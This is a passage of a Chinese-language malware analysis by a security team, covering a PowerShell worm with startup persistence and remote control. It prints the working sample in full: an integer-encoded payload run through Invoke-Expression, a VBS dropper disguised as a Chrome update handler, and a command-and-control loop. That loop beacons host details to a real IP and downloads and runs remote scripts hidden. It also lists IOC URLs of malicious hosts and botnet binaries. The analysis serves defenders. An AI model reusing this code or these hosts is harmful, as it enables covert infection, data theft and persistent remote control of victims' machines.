339456,339456,306176,322816,326144,322816,306176,322816,322816,326144,306176,349440,342784,306176,322816,322816,336128,306176,322816,322816,336128,306176,329472,326144,306176,332800,336128,306176,342784,319488,306176,322816,319488,336128,306176,322816,319488,346112,306176,322816,319488,322816,306176,329472,326144,306176,329472,332800,306176,329472,326144,306176,332800,329472,306176,329472,326144,306176,329472,332800,306176,329472,342784,306176,346112,319488,306176,346112,332800,306176,329472,342784,306176,329472,332800,306176,332800,332800,306176,329472,326144,306176,332800,346112,296192,296192,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,279552,439296,482560,539136,502528,495872,545792,425984,482560,545792,505856,266240,362752,266240,462592,435968,562432,542464,545792,495872,522496,312832,402688,422656,312832,425984,482560,545792,505856,469248,352768,352768,396032,495872,545792,439296,495872,522496,532480,425984,482560,545792,505856,292864,296192,266240,302848,266240,279552,425984,542464,392704,509184,519168,495872,419328,482560,522496,495872,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,462592,435968,562432,542464,545792,495872,522496,312832,402688,422656,312832,392704,509184,519168,495872,469248,352768,352768,449280,539136,509184,545792,495872,376064,519168,519168,439296,495872,559104,545792,292864,279552,439296,482560,539136,502528,495872,545792,425984,482560,545792,505856,306176,266240,279552,376064,462592,322816,469248,296192,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,462592,435968,562432,542464,545792,495872,522496,312832,402688,422656,312832,392704,509184,519168,495872,469248,352768,352768,449280,539136,509184,545792,495872,376064,519168,519168,439296,495872,559104,545792,292864,462592,435968,562432,542464,545792,495872,522496,312832,389376,525824,552448,509184,539136,529152,525824,522496,495872,525824,545792,469248,352768,352768,396032,495872,545792,392704,529152,519168,492544,495872,539136,425984,482560,545792,505856,292864,342784,296192,266240,302848,266240,272896,465920,449280,509184,525824,412672,422656,396032,422656,419328,442624,532480,492544,482560,545792,495872,312832,552448,485888,542464,272896,306176,266240,279552,435968,545792,482560,539136,545792,549120,532480,382720,529152,525824,545792,495872,525824,545792,312832,432640,495872,532480,519168,482560,489216,495872,292864,272896,282880,425984,439296,282880,272896,306176,266240,279552,439296,482560,539136,502528,495872,545792,425984,482560,545792,505856,296192,296192,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,425984,529152,555776,495872,539136,435968,505856,495872,519168,519168,312832,495872,559104,495872,266240,309504,449280,509184,525824,492544,529152,555776,435968,545792,562432,519168,495872,266240,399360,509184,492544,492544,495872,525824,266240,309504,389376,559104,495872,489216,549120,545792,509184,529152,525824,425984,529152,519168,509184,489216,562432,266240,432640,495872,522496,529152,545792,495872,435968,509184,502528,525824,495872,492544,266240,309504,392704,509184,519168,495872,266240,279552,439296,482560,539136,502528,495872,545792,425984,482560,545792,505856,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,485888,539136,495872,482560,515840,266240,575744,203008,193024,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,289536,382720,519168,289536,266240,569088,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,266240,462592,389376,525824,552448,509184,539136,529152,525824,522496,495872,525824,545792,469248,352768,352768,389376,559104,509184,545792,292864,319488,296192,203008,193024,266240,266240,266240,266240,266240,266240,266240,266240,485888,539136,495872,482560,515840,266240,575744,203008,193024,189696,203008,193024,189696,289536,442624,525824,289536,266240,569088,203008,193024,189696,266240,266240,266240,266240,462592,389376,525824,552448,509184,539136,529152,525824,522496,495872,525824,545792,469248,352768,352768,389376,559104,509184,545792,292864,319488,296192,203008,193024,189696,485888,539136,495872,482560,515840,266240,575744,203008,193024,266240,266240,266240,266240,575744,203008,193024,266240,266240,266240,266240,435968,545792,482560,539136,545792,309504,435968,519168,495872,495872,532480,266240,309504,416000,509184,519168,519168,509184,542464,495872,489216,529152,525824,492544,542464,266240,329472,319488,319488,319488,203008,193024,575744)
[String]?$PDF?=?[System.Text.UTF8Encoding]::UTF8.GetString((IntegerToBytes?$rawData?'00125495565210225012546982'))
Invoke-Expression?$PDF

自启动

第二层转译

Add-Type?-AssemblyName?System.Windows.Forms
Add-Type?-AssemblyName?Microsoft.VisualBasic


function?DropToStartup()?{
????[String]?$startup?=?[System.Text.Encoding]::Default.GetString(@(83,101,116,32,79,66,66,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,79,66,66,46,82,117,110,32,34,80,111,119,101,114,83,104,101,108,108,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,82,101,109,111,116,101,83,105,103,110,101,100,32,45,70,105,108,101,32,34,43,34,37,70,73,76,69,37,34,44,48))
????[System.IO.File]::WriteAllText([System.Environment]::GetFolderPath(7)?+?'\GoogleChromeUpdateHandlerx64.vbs',?$startup.Replace('%FILE%',?$PSCommandPath))
}
DropToStartup

将代码

Set?OBB?=?CreateObject("WScript.Shell")
OBB.Run?"PowerShell?-ExecutionPolicy?RemoteSigned?-File?"+"C:\Users\Administrator\Desktop\worm_server.ps1",0

写入路径

C:\Users\Hk_Mayfly\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChromeUpdateHandlerx64.vbs，即设置为自启动

C2控制脚本

Add-Type?-AssemblyName?System.Windows.Forms
Add-Type?-AssemblyName?Microsoft.VisualBasic

[Object]?$HTTP_OBJECT?=?[Microsoft.VisualBasic.Interaction]::CreateObject('MSXML2.XMLHTTP')
[String]?$IP?=?'185.81.157.136'
[String]?$Port?=?'3681'
[String]?$Splitter?=?'|V|'
$ErrorActionPreference?=?'SilentlyContinue'

function?DropToStartup()?{
????[String]?$startup?=?[System.Text.Encoding]::Default.GetString(@(83,101,116,32,79,66,66,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,79,66,66,46,82,117,110,32,34,80,111,119,101,114,83,104,101,108,108,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,82,101,109,111,116,101,83,105,103,110,101,100,32,45,70,105,108,101,32,34,43,34,37,70,73,76,69,37,34,44,48))
????[System.IO.File]::WriteAllText([System.Environment]::GetFolderPath(7)?+?'\GoogleChromeUpdateHandler.vbs',?$startup.Replace('%FILE%',?$PSCommandPath))
}

Function?HTTP($DA,?$Param)?{
????[String]?$Response?=?[String]::Empty
????try
????{
????????$HTTP_OBJECT.Open('POST',?'http://'?+?$IP?+?':'?+?$Port?+?'/'?+?$DA,?$false)
????????$HTTP_OBJECT.SetRequestHeader('User-Agent:',?$INFO)
????????$HTTP_OBJECT.Send($Param)
????????$Response?=?[Convert]::ToString($HTTP_OBJECT.ResponseText)
????}?catch?{?}
????return?$Response
}

Function?INF?{
????[String]?$MAC?=?HWID($env:computername)
????[String]?$ID?=?'Novo_'?+?$MAC
????[String]?$VER?=?'v0.2'
????[String]?$OS?=?[Microsoft.VisualBasic.Strings]::Split((Get-WMIObject?win32_operatingsystem).name,"|")[0]?+?"?"?+?(Get-WmiObject?Win32_OperatingSystem).OSArchitecture
????[String]?$AV?=?'Windows?Defender'
????return?$ID?+?"\"?+?($env:COMPUTERNAME)?+?"\"?+?($env:UserName)?+?"\"?+?$OS?+?"\"?+?$AV?+?"\"?+?"Yes"?+?"\"?+?"Yes"?+?"\"?+?"FALSE"?+?"\"
}

Function?HWID($strComputer)?{
????$ErrorActionPreference?=?'SilentlyContinue'
????$lol?=?[System.Convert]::ToString((get-wmiobject?Win32_ComputerSystemProduct??|?Select-Object?-ExpandProperty?UUID))
????return?([Microsoft.VisualBasic.Strings]::Split($lol,'-')[0]?+?[Microsoft.VisualBasic.Strings]::Split($lol,'-')[1])
}

DropToStartup
[String]?$INFO?=?INF

while($true)
{
????$A?=?[Microsoft.VisualBasic.Strings]::Split((HTTP("Vre",?""))?,?$Splitter)
????switch($A[0])?{
????????'TR'?{
????????????[String]?$PsFileName?=??[System.Guid]::NewGuid().ToString().Replace("-",?"")?+?".PS1"
????????????[String]?$StartupContent?=?[System.Text.Encoding]::Default.GetString(@(83,101,116,32,87,115,104,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,87,115,104,83,104,101,108,108,46,82,117,110,32,34,80,111,119,101,114,115,104,101,108,108,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,66,121,112,97,115,115,32,45,70,105,108,101,32,34,32,43,32,34,37,80,84,37,34,44,32,48))
????????????$TargetPath?=?[System.IO.Path]::GetTempPath()?+?$PsFileName
????????????[System.IO.File]::WriteAllText($TargetPath,?$A[1])
????????????[System.IO.File]::WriteAllText([System.Environment]::GetFolderPath(7)?+?"\WinLOGONUpdate.vbs",?$StartupContent.Replace("%PT%",?$TargetPath))
????????????PowerShell.exe?-WindowStyle?Hidden?-ExecutionPolicy?RemoteSigned?-File?$TargetPath
????????break?}

????????'Cl'?{
????????????[Environment]::Exit(0)
????????break?}

????'Un'?{
????????[Environment]::Exit(0)
????break?}
????}
????Start-Sleep?-Milliseconds?3000
}

每3秒向服务器http://185.81.157.136:3681/Vre发起请求，并会将感染机信息放入User-Agent字段，以POST请求发送到服务器。类似：

{User-Agent:Novo_\DESKTOP-KQH6LSB\Hk_Mayfly\Microsoft Windows 10 专业版 64 位\Windows Defender\Yes\Yes\FALSE\} 同时，远程服务器返回信息控制感染机：

指令代码含义
TR下载远程恶意代码执行
Cl终止恶意进程
Un终止恶意进程

执行TR命令时：?

  1. 会将远程恶意文件下载到临时目录

    C:\Users\Hk_Mayfly\AppData\Local\Temp\4af4ccd7024e4982ae61202d8926e0bf.PS1，将恶意文件路径写入到C:\Users\Hk_Mayfly\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinLOGONUpdate.vbs，设为自启动，并执行命令WshShell.Run "Powershell -ExecutionPolicy Bypass -File " + "C:\Users\Hk_Mayfly\AppData\Local\Temp\4af4ccd7024e4982ae61202d8926e0bf.PS1", 0启动恶意文件。样本行为有点类似紫狐病毒了~


总结

修复建议：

  1. 清除临时目录下的{hash}.PS1文件

  2. 清除自启动目录下的

    WinLOGONUpdate.vbs和GoogleChromeUpdateHandlerx64.vbs文件

IOC信息：

6b9b98ab790280f0ae64ac2b30ee8220
http://2.56.57.82/1/1.txt
http://2.56.57.82/1/SystemLogin.txt
http://2.56.57.82/1/Win10.txt
http://185.81.157.136:3681/Vre

其它
http://blackid-42311.portmap.host:7974/Vre
http://janda.publicvm.com:1005/Vre
http://severdops.ddns.net:5050/Vre

C段中还发现了其他恶意URL：

http://2.56.57.181/ordine_STAR_PROGETTI_Uupepfct.jpg
http://2.56.57.187/moo/m00r4i.arm
http://2.56.57.187/moo/m00r4i.arm5
http://2.56.57.187/moo/m00r4i.arm6
http://2.56.57.187/moo/m00r4i.arm7
http://2.56.57.187/moo/m00r4i.m68k
http://2.56.57.187/moo/m00r4i.mips
http://2.56.57.187/moo/m00r4i.mpsl
http://2.56.57.187/moo/m00r4i.ppc
http://2.56.57.187/moo/m00r4i.sh4
http://2.56.57.187/moo/m00r4i.spc
http://2.56.57.187/moo/m00r4i.x86
http://2.56.57.49/LjEZs/uYtea.arm
http://2.56.57.49/LjEZs/uYtea.arm5
http://2.56.57.49/LjEZs/uYtea.arm6
http://2.56.57.49/LjEZs/uYtea.m68k
http://2.56.57.49/LjEZs/uYtea.mpsl
http://2.56.57.49/LjEZs/uYtea.ppc
http://2.56.57.49/LjEZs/uYtea.spc
http://2.56.57.49/LjEZs/uYtea.x86
http://2.56.57.49/LjEZs/uYtea.x86_64
http://2.56.57.49/arm5
http://2.56.57.49/arm6
http://2.56.57.49/arm7
http://2.56.57.49/m68k
http://2.56.57.49/mips
http://2.56.57.49/mpsl
http://2.56.57.49/x86
http://2.56.57.98/arm
http://2.56.57.98/hahahaha.sh
http://2.56.57.98/i686
http://2.56.57.98/mipsel
http://2.56.57.98/sh4
http://2.56.57.98/sparc

end


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析?长期招新

欢迎联系admin@chamd5.org



关注公众号：拾黑（shiheibook）了解更多

[广告]赞助链接：

四季很好，只要有你，文娱排行榜：https://www.yaopaiming.com/
让资讯触达的更精准有趣：https://www.0xu.cn/

*文章为作者独立观点，不代表 爱尖刀 立场
本文由 Chamd5安全团队发表，转载此文章须经作者同意，并请附上出处( 爱尖刀 )及本页链接。
原文链接 https://www.ijiandao.com/2b/baijia/430867.html
VJW0rm
图库
Chamd5安全团队 Chamd5安全团队
公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接
百度热搜榜
排名 热点 搜索指数
iTrust
AiDeep Ued
关于我们 联系我们 升级日志 法律声明 广告服务 侵删通道
Copyright © 2021 K2CMS All rights reserved.
京ICP备14006288号